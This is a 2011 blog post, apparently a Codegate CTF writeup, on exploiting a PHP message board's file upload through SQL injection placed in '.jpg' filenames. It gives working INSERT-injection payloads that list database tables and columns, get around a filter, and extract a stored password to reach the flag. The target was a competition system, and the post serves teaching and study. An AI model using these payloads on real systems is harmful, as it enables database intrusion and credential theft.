Dienstag, 8. März 2011

Codegate 2011 CTF Writeup - Vuln 400



During the Qualifications i was working many hours on this vulnerable but couldn't solve it in time. So i finished it afterwards here is the writeup from the lollersk8ers. The Bug used for exploiting it was a SQL-Injection but will show what the approach during the CTF was.

After doing some fuzzing we recognized that the bug have to in the upload mechanism.
The upload has a string filter, and the filename have to end with ".jpg".

After uploading an image to the server, we see that the path is created and chmodded.

creating directory ...
chmod 777 ./upload/1299600327/ ...
Move file tmpfolder to ./upload/1299600327/..
chmod 755 ./upload/1299600327/ ...
Success


The first idea was trying HTTP-PUT to upload some other files into this directory. The folder name is incremented after every upload, so it was guessable. But the race failed.

Further fuzzing showed us using a a filename beginning with "/" like "/.jpg" throws and error.


creating directory ...
chmod 777 ./upload/1299601200/ ...
ove file tmpfolder to ./upload/1299601200/..
Warning: move_uploaded_file(./upload/1299601200/62279./.jpg.432434.jpg) [function.move-uploaded-file]: failed to open stream: No such file or directory in /var/www/s0n1cw0r1d/__board/write_ok.php on line 50
Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/phpR74DFJ' to './upload/1299601200/62279./.jpg.432434.jpg' in /var/www/s0n1cw0r1d/__board/write_ok.php on line 50
Sorry , Failed upload


The folder was now writeable.

There was a directory traversal protection, i guess the filename was truncted by just taking the string part after the last path separator '/'.

Using a single inside in the filename is resulting in an error message.
Now it is the part for sql injection.

Using "' or '.jpg" as filename resulted in a final link
http://221.141.3.111/__board/upload/1299601746/1. As you can see the filename is 1, but this file does not exists.

So the "1" have to be the output of a sql statement.
Actually i didn't know when the sql statement is executed, during a select, update or insert?


But subselects got successfullly executed.
As an example "' or (select table_name from information_schema.tables) or '.jpg"

The idea was not blind execution using benchmark() with have worked, but putting the benchmark inside an IF() failed, the IF was never executed.

I tried some less insert strings in the form filename="',(select '2' from information_schema.tables),'.jpg" but this kind of execution failed.


This was the state the game ended. After the game i got a hint from my swedish friend beng, who told me the insert injection is the right way and i had to insert a new row into table. Thanks to him at this point.

After the game i tried to inject a new row by trying NULL values
')(NULL,...)
after too many NULLs i tried to insert one more NULL into the first values part.
and finally i got a "Success" by
"',NULL),(NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)#.jpg"

by playing around with the values and using the search function of the board, i recognized that the second value was the author, the third one the subject.

I used the subject for the output.

"',NULL),(15,'bashrc',(select group_concat(table_name) from information_schema.tables),NULL,NULL,NULL,NUL,NULL,NULL,NULL,NULL)#.jpg"


CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,sonic_board,column


"',NULL),(15,'bashrc',(select group_concat(column_name) from information_schema.columns WHERE table_name = 'sonic_board'),NULL,NULL,NULL,NUL,NULL,NULL,NULL,NULL)#.jpg"

idx,writer,subject,content,pass,readcount,date,secret,ip,filename,dir


And actually trying to get the password

"',NULL),(15,'bashrc',(select pass from sonic_board LIMIT 0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)#.jpg"


ERROR!!!


I was trying long at this point what kind of filter there is. By playing around i finally found a way of selecting it, the solution was just adding an as statement.
"',NULL),(15,'bashrc',(select pass from sonic_board as loller LIMIT 0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)#.jpg"


Searching for bashrc on the board, give me the string sonic!%#$**()%#_?qwerasdfzxcv{}

After viewing the secret post using this password we can see the completion string.


Wow! Congratulation!

Password is : HackingForCola



You can also do some obfuscation like rot13() and adding bulk notes if you want to hide the string during the ctf, but since you can choose the id where it is displayed (in my case 15) it shouldn't be a problem o spoiling the password. In my case i didn't care, since the ctf is over.